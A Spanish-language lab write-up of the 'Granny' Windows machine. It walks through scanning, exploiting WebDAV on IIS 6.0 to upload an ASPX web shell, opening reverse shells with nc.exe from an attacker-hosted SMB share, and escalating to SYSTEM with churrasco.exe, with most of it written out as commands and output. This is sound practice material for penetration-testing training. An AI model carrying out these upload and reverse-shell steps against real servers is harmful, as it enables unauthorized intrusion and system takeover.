
Granny - Writeup
Granny es una máquina Windows sencilla para aprender a explotar WebDavs. En cuánto a la escalada de privilegios, es más complicada que otras máquinas como Devel ya que necesitaremos algo más que JuicyPotato para abusar del privilegio SetImpersonatePrivilege
.
Reconocimiento Link to Reconocimiento
Empezaremos escaneando los puertos abiertos de la máquina Devel cuya IP es 10.10.10.15
con nmap.
12345678
sudo nmap -p- --open -sS --min-rate 5000 -Pn -n -v 10.10.10.15 -oG allPorts
Initiating SYN Stealth Scan at 13:04
Scanning 10.10.10.15 [65535 ports]
Nmap scan report for 10.10.10.15
PORT STATE SERVICE
80/tcp open http
Ahora enumeramos los servicios que corren en estos puertos:
1234567
sudo nmap -sCV -p80 10.10.10.15 -Pn -oN targeted
Nmap scan report for 10.10.10.15
Host is up.
PORT STATE SERVICE VERSION
80/tcp filtered http
Como se puede observar, la máquina solo tiene el puerto 80 abierto con el servicio http.
Para poder ver las tecnologías que usa la web usaremos whatweb
:
123
whatweb http://10.10.10.15
http://10.10.10.15 [200 OK] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/6.0], IP[10.10.10.15], Microsoft-IIS[6.0][Under Construction], MicrosoftOfficeWebServer[5.0_Pub], UncommonHeaders[microsoftofficewebserver], X-Powered-By[ASP.NET]
La máquina corre un Microsoft-ISS 6.0
. Si buscamos en internet podemos ver que es vulnerable. Este servicio posee un WebDav al cual podemos subir archivos. Si subimos un archivo .aspx
podremos ejecutar código en el servidor y obtener una reverse shell.
Para poder ver que archivos podemos subir usaremos davtest
:
12345678910111213141516171819
davtest -url http://10.10.10.15
********************************************************
Testing DAV connection
OPEN SUCCEED: http://10.10.10.15
********************************************************
Sending test files
PUT cgi FAIL
PUT pl SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.pl
PUT jsp SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.jsp
PUT html SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.html
PUT php SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.php
PUT aspx FAIL
PUT txt SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.txt
PUT jhtml SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.jhtml
PUT cfm SUCCEED: http://10.10.10.15/DavTestDir_vkjBEqIPKM/davtest_vkjBEqIPKM.cfm
PUT asp FAIL
PUT shtml FAIL
********************************************************
Según davtest
no podemos subir archivos .aspx
pero sí .txt
, así que haremos la prueba con curl
:
12
echo 'hola' > hola.txt
curl -X PUT http://10.10.10.15/hola.txt -d @hola.txt
Si visitamos http://10.10.10.15/hola.txt
podremos ver el contenido.
Ahora podemos intentar cambiar la extensión del archivo a .aspx
:
1
curl -X COPY -H "Destination: http://10.10.10.15/hola.aspx" http://10.10.10.15/hola.txt
Si accedemos ahora a http://10.10.10.15/hola.aspx
podemos ver un error de interpretación. Por lo tanto es vulnerable.
Explotación Link to Explotación
Ahora haremos lo mismo pero con una web shell.
Si ejecutas locate .aspx | grep cmd
podrás encontrar algunas web shells preinstaladas en tu Kali Linux o ParrotOS. En mi caso usaré aspx_cmd.aspx
de el apartado de backdoors de davtest. Este mostrará un input para ejecutar comandos en la máquina víctima.
Una vez elegido el exploit, le cambiaremos la extensión a .txt
y lo subiremos al servidor usando webdav. Por último lo renombramos:
12345678
# Lo renombramos
mv aspx_cmd.aspx cmd.txt
# Lo subimos al servidor
curl -X PUT http://10.10.10.15/cmd.txt -d @cmd.txt
# Le cambiamos la extensión en el servidor
curl -X COPY -H "Destination: http://10.10.10.15/cmd.aspx" http://10.10.10.15/cmd.txt
Si accedemos a http://10.10.10.15/cmd.aspx
podemos ver una web shell.
Ahora compartiremos el recurso nc.exe
en un servidor smb para entablar una reverse shell para mayor comodidad:
12345678910
sudo impacket-smbserver smbFolder $(pwd) -smb2support
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Para encontrar el recurso nc.exe de tu Kali Linux o ParrosOS usa:
locate nc.exe
Y nos pondremos en escucha por un puerto para recibir la reverse shell:
1
sudo rlwrap nc -nlvp 443
En http://10.10.10.15/cmd.aspx
y ponemos el comando que usará este servidor de smb para usar el nc.exe
:
1
cmd /c \\<ip atacante>\smbFolder\nc.exe -e cmd <ip atacante> 443
Ahora estarás dentro de la máquina Windows en la consola donde te pusiste en escucha con el puerto 443.
Escalada de privilegios Link to Escalada de privilegios
Si vemos nuestros privilegios con whoami /priv
veremos que tenemos SetImpersonatePrivilege
. Esto quiere decir que parece ser vulnerable a JuicyPotato. Sin embargo, si ejecutamos systeminfo
veremos que es una versión muy antigua de Windows.
En estos casos debemos de hacer uso de otra herramienta que explota este mismo privilegio pero en este tipo de Windows llamada churrasco. Se puede descargar desde este link.
Ahora hay que transferir nc.exe
y churrasco.exe
a la máquina víctima. Para ellos nos movemos a c:\windows\temp\privesc
para que no haya problemas de permisos.
Transferimos los archivos por nuestro servidor de smb:
1234567
c:\WINDOWS\Temp\privesc>copy \\<ip atacante>\smbFolder\churrasco.exe churrasco.exe
copy \\<ip atacante>\smbFolder\churrasco.exe churrasco.exe
1 file(s) copied.
c:\WINDOWS\Temp\privesc>copy \\<ip atacante>\smbFolder\nc.exe nc.exe
copy \\<ip atacante>\smbFolder\nc.exe nc.exe
1 file(s) copied.
Una vez con los ejecutables en la máquina víctima, nos ponemos en escucha en la máquina atacante para entablar otra reverse shell (en mi caso usaré el puerto 4321):
1
sudo rlwrap nc -nlvp 4321
Y ahora usamos churrasco.exe
en la máquina víctima:
123456789101112131415161718
churrasco.exe -d "c:\windows\temp\privesc\nc.exe -e cmd <ip atacante> 4321"
/churrasco/-->Current User: NETWORK SERVICE
/churrasco/-->Getting Rpcss PID ...
/churrasco/-->Found Rpcss PID: 668
/churrasco/-->Searching for Rpcss threads ...
/churrasco/-->Found Thread: 212
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 672
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 676
/churrasco/-->Thread not impersonating, looking for another thread...
/churrasco/-->Found Thread: 684
/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x718
/churrasco/-->Getting SYSTEM token from Rpcss Service...
/churrasco/-->Found SYSTEM token 0x710
/churrasco/-->Running command with SYSTEM Token...
/churrasco/-->Done, command should have ran as SYSTEM!
Habiendo hecho esto, seremos NT AUTHORITY\SYSTEM
y podemos obtener la flag de user.txt
:
1234567891011
>C:\Documents and Settings\Lakis\Desktop>dir
dir
Directory of C:\Documents and Settings\Lakis\Desktop
04/12/2017 09:19 PM <DIR> .
04/12/2017 09:19 PM <DIR> ..
04/12/2017 09:20 PM 32 user.txt
C:\Documents and Settings\Lakis\Desktop>type user.txt
type user.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Y la flag de root.txt
:
123
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Con esto concluye la máquina Granny. Si quieres más writeups de máquinas para la OSCP accede aquí: máquinas para la OSCP.
Granny - Writeup
© Gh3rmy | CC BY-SA 4.0